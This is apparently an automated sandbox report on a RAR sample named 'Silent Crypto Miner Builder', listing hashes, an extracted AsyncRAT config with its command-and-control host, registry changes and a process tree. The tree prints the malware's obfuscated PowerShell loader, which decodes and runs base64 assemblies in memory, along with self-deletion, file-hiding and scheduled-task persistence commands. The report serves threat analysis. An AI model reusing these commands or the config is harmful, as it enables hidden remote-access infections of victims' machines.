Analysis
-
max time kernel
55s -
max time network
61s -
platform
windows11-21h2_x64 -
resource
win11-20240419-en -
resource tags
arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system -
submitted
27-06-2024 16:12
Behavioral task
behavioral1
Sample
Silent.Crypto.Miner.Builder.rar
Resource
win11-20240419-en
General
-
Target
Silent.Crypto.Miner.Builder.rar
-
Size
81.8MB
-
MD5
933d0f5124ce80145887ac1fa70cce22
-
SHA1
0d18410b44a306620faa6e80ab2a1f3b454638e8
-
SHA256
2d892e65432b58585112e78deec5750652a25249dd4f56e0fd6d47fe7804baf1
-
SHA512
62ce1274e2ff0cf808d291ed8db92c17bcd1b1eb5caac4573a7c9cda1b88fa85958711f3f4a6f3df3092184a049dca0bd7a7d58f536e8772fddfd934ccdb99b6
-
SSDEEP
1572864:Fd61wTAxnsyiOtrAqunqBZqx6ikncQTw5EH+tjkx6SR0thS3eb7Dt:FFTUnsHOhTPU6iknFOk+tjkx6RthOeXB
Malware Config
Extracted
asyncrat
AsyncRAT
unam
windowsignn.theworkpc.com:6606
AsyncMutex_5552
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/4672-106-0x00000228A3A30000-0x00000228A3A46000-memory.dmp family_asyncrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Executes dropped EXE 6 IoCs
Processes:
Silent Crypto Miner Builder.exeSilent Crypto Miner Builder.exeSilent Crypto Miner Builder.exedll.bat.exestartup_str.bat.exeunam.exepid process 1524 Silent Crypto Miner Builder.exe 4768 Silent Crypto Miner Builder.exe 3904 Silent Crypto Miner Builder.exe 1636 dll.bat.exe 4672 startup_str.bat.exe 3912 unam.exe -
Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 64 IoCs
Processes:
OpenWith.execmd.exedll.bat.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257" OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings cmd.exe Set value (str) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Applications\7zFM.exe\shell\open OpenWith.exe Set value (str) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Applications\7zFM.exe\shell\open\command\ = "\"C:\\Program Files\\7-Zip\\7zFM.exe\" \"%1\"" OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1 OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 OpenWith.exe Key created \Registry\User\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\NotificationData OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16" OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Applications OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1" OpenWith.exe Set value (str) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic" OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings dll.bat.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 OpenWith.exe Set value (str) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Applications\7zFM.exe\shell\open\command OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000 OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16" OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257" OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" OpenWith.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 500031000000000093587a4d1000372d5a6970003c0009000400efbe93587a4d93587a4d2e0000006f9f0200000008000000000000000000000000000000c706420037002d005a0069007000000014000000 OpenWith.exe Set value (str) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic" OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "2" OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202 OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 8c003100000000009358c252110050524f4752417e310000740009000400efbec55259619358c2522e0000003f0000000000010000000000000000004a00000000005cfc1200500072006f006700720061006d002000460069006c0065007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100370038003100000018000000 OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = ffffffff OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1" OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff OpenWith.exe Set value (data) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff OpenWith.exe Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Applications\7zFM.exe\shell OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" OpenWith.exe -
Opens file in notepad (likely ransom note) 1 IoCs
Processes:
NOTEPAD.EXEpid process 2812 NOTEPAD.EXE -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
Silent Crypto Miner Builder.exeSilent Crypto Miner Builder.exeSilent Crypto Miner Builder.exedll.bat.exepowershell.exepowershell.exestartup_str.bat.exepowershell.exepid process 1524 Silent Crypto Miner Builder.exe 4768 Silent Crypto Miner Builder.exe 3904 Silent Crypto Miner Builder.exe 1636 dll.bat.exe 1636 dll.bat.exe 3952 powershell.exe 3952 powershell.exe 3952 powershell.exe 3952 powershell.exe 2340 powershell.exe 2340 powershell.exe 4672 startup_str.bat.exe 4672 startup_str.bat.exe 4424 powershell.exe 4424 powershell.exe 4424 powershell.exe 4424 powershell.exe 4672 startup_str.bat.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
Processes:
OpenWith.exe7zFM.exepid process 4544 OpenWith.exe 2328 7zFM.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
7zFM.exeSilent Crypto Miner Builder.exeSilent Crypto Miner Builder.exeSilent Crypto Miner Builder.exedll.bat.exepowershell.exepowershell.exedescription pid process Token: SeRestorePrivilege 2328 7zFM.exe Token: 35 2328 7zFM.exe Token: SeSecurityPrivilege 2328 7zFM.exe Token: SeDebugPrivilege 1524 Silent Crypto Miner Builder.exe Token: SeDebugPrivilege 4768 Silent Crypto Miner Builder.exe Token: SeDebugPrivilege 3904 Silent Crypto Miner Builder.exe Token: SeDebugPrivilege 1636 dll.bat.exe Token: SeDebugPrivilege 3952 powershell.exe Token: SeDebugPrivilege 2340 powershell.exe Token: SeIncreaseQuotaPrivilege 2340 powershell.exe Token: SeSecurityPrivilege 2340 powershell.exe Token: SeTakeOwnershipPrivilege 2340 powershell.exe Token: SeLoadDriverPrivilege 2340 powershell.exe Token: SeSystemProfilePrivilege 2340 powershell.exe Token: SeSystemtimePrivilege 2340 powershell.exe Token: SeProfSingleProcessPrivilege 2340 powershell.exe Token: SeIncBasePriorityPrivilege 2340 powershell.exe Token: SeCreatePagefilePrivilege 2340 powershell.exe Token: SeBackupPrivilege 2340 powershell.exe Token: SeRestorePrivilege 2340 powershell.exe Token: SeShutdownPrivilege 2340 powershell.exe Token: SeDebugPrivilege 2340 powershell.exe Token: SeSystemEnvironmentPrivilege 2340 powershell.exe Token: SeRemoteShutdownPrivilege 2340 powershell.exe Token: SeUndockPrivilege 2340 powershell.exe Token: SeManageVolumePrivilege 2340 powershell.exe Token: 33 2340 powershell.exe Token: 34 2340 powershell.exe Token: 35 2340 powershell.exe Token: 36 2340 powershell.exe Token: SeIncreaseQuotaPrivilege 2340 powershell.exe Token: SeSecurityPrivilege 2340 powershell.exe Token: SeTakeOwnershipPrivilege 2340 powershell.exe Token: SeLoadDriverPrivilege 2340 powershell.exe Token: SeSystemProfilePrivilege 2340 powershell.exe Token: SeSystemtimePrivilege 2340 powershell.exe Token: SeProfSingleProcessPrivilege 2340 powershell.exe Token: SeIncBasePriorityPrivilege 2340 powershell.exe Token: SeCreatePagefilePrivilege 2340 powershell.exe Token: SeBackupPrivilege 2340 powershell.exe Token: SeRestorePrivilege 2340 powershell.exe Token: SeShutdownPrivilege 2340 powershell.exe Token: SeDebugPrivilege 2340 powershell.exe Token: SeSystemEnvironmentPrivilege 2340 powershell.exe Token: SeRemoteShutdownPrivilege 2340 powershell.exe Token: SeUndockPrivilege 2340 powershell.exe Token: SeManageVolumePrivilege 2340 powershell.exe Token: 33 2340 powershell.exe Token: 34 2340 powershell.exe Token: 35 2340 powershell.exe Token: 36 2340 powershell.exe Token: SeIncreaseQuotaPrivilege 2340 powershell.exe Token: SeSecurityPrivilege 2340 powershell.exe Token: SeTakeOwnershipPrivilege 2340 powershell.exe Token: SeLoadDriverPrivilege 2340 powershell.exe Token: SeSystemProfilePrivilege 2340 powershell.exe Token: SeSystemtimePrivilege 2340 powershell.exe Token: SeProfSingleProcessPrivilege 2340 powershell.exe Token: SeIncBasePriorityPrivilege 2340 powershell.exe Token: SeCreatePagefilePrivilege 2340 powershell.exe Token: SeBackupPrivilege 2340 powershell.exe Token: SeRestorePrivilege 2340 powershell.exe Token: SeShutdownPrivilege 2340 powershell.exe Token: SeDebugPrivilege 2340 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
7zFM.exepid process 2328 7zFM.exe 2328 7zFM.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
OpenWith.exestartup_str.bat.exepid process 4544 OpenWith.exe 4544 OpenWith.exe 4544 OpenWith.exe 4544 OpenWith.exe 4544 OpenWith.exe 4544 OpenWith.exe 4544 OpenWith.exe 4544 OpenWith.exe 4544 OpenWith.exe 4544 OpenWith.exe 4544 OpenWith.exe 4544 OpenWith.exe 4672 startup_str.bat.exe -
Suspicious use of WriteProcessMemory 24 IoCs
Processes:
OpenWith.execmd.exedll.bat.execmd.exeWScript.execmd.exestartup_str.bat.execmd.exedescription pid process target process PID 4544 wrote to memory of 2328 4544 OpenWith.exe 7zFM.exe PID 4544 wrote to memory of 2328 4544 OpenWith.exe 7zFM.exe PID 3620 wrote to memory of 1636 3620 cmd.exe dll.bat.exe PID 3620 wrote to memory of 1636 3620 cmd.exe dll.bat.exe PID 1636 wrote to memory of 3952 1636 dll.bat.exe powershell.exe PID 1636 wrote to memory of 3952 1636 dll.bat.exe powershell.exe PID 1636 wrote to memory of 3104 1636 dll.bat.exe cmd.exe PID 1636 wrote to memory of 3104 1636 dll.bat.exe cmd.exe PID 3104 wrote to memory of 5060 3104 cmd.exe attrib.exe PID 3104 wrote to memory of 5060 3104 cmd.exe attrib.exe PID 1636 wrote to memory of 2340 1636 dll.bat.exe powershell.exe PID 1636 wrote to memory of 2340 1636 dll.bat.exe powershell.exe PID 1636 wrote to memory of 4444 1636 dll.bat.exe WScript.exe PID 1636 wrote to memory of 4444 1636 dll.bat.exe WScript.exe PID 4444 wrote to memory of 4300 4444 WScript.exe cmd.exe PID 4444 wrote to memory of 4300 4444 WScript.exe cmd.exe PID 4300 wrote to memory of 4672 4300 cmd.exe startup_str.bat.exe PID 4300 wrote to memory of 4672 4300 cmd.exe startup_str.bat.exe PID 4672 wrote to memory of 4424 4672 startup_str.bat.exe powershell.exe PID 4672 wrote to memory of 4424 4672 startup_str.bat.exe powershell.exe PID 4672 wrote to memory of 4344 4672 startup_str.bat.exe cmd.exe PID 4672 wrote to memory of 4344 4672 startup_str.bat.exe cmd.exe PID 4344 wrote to memory of 4260 4344 cmd.exe attrib.exe PID 4344 wrote to memory of 4260 4344 cmd.exe attrib.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 5060 attrib.exe 4260 attrib.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Silent.Crypto.Miner.Builder.rar1⤵
- Modifies registry class
PID:3356
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Silent.Crypto.Miner.Builder.rar"2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2328
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3200
-
C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1524
-
C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4768
-
C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3904
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\1\Repo\bin\dll.bat" "1⤵
- Suspicious use of WriteProcessMemory
PID:3620 -
C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe"C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe" -noprofile -w hidden -ep bypass -command $gingerbread_ZGT90N5CQZ = [System.IO.File]::ReadAllText('C:\Users\Admin\Desktop\1\Repo\bin\dll.bat').Split([Environment]::NewLine); foreach ($gingerbread_1KH5QPC857 in $gingerbread_ZGT90N5CQZ) { $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_IR2OYLS2I9, '_', 'gingerbread_2REG6QYLBJP6'); if ($gingerbread_1KH5QPC857 -match $gingerbread_IR2OYLS2I9) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_1KH5QPC857, 'gingerbread_2REG6QYLBJP6', ''); $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, '#', '/');break; }; }; if ($gingerbread_5Q959MQ6PK.Contains('CHOQNLJXHRYDBXUDFLOEFXTOXDPILO')) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, 'CHOQNLJXHRYDBXUDFLOEFXTOXDPILO', ''); } else { exit }; $gingerbread_C3UENP8XTK = [string[]]$gingerbread_5Q959MQ6PK.Split('!'); $gingerbread_43B9R06ZVX = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[0]); $gingerbread_L6GT4COAOJ = [System.Reflection.Assembly]::Load($gingerbread_43B9R06ZVX); $gingerbread_75K25BI6VC = $gingerbread_L6GT4COAOJ.EntryPoint; $gingerbread_75K25BI6VC.Invoke($null, $null); $gingerbread_ONPA8XRGXD = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[1]); $gingerbread_P0L16O4G72 = [System.Reflection.Assembly]::Load($gingerbread_ONPA8XRGXD); $gingerbread_1JGKLRH6G6 = $gingerbread_P0L16O4G72.EntryPoint; $gingerbread_1JGKLRH6G6.Invoke($null, $null)2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1636);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3952 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe" & exit3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:3104 -
C:\Windows\system32\attrib.exeATTRIB +H "C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe"4⤵
- Views/modifies file attributes
PID:5060 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2340 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:4300 -
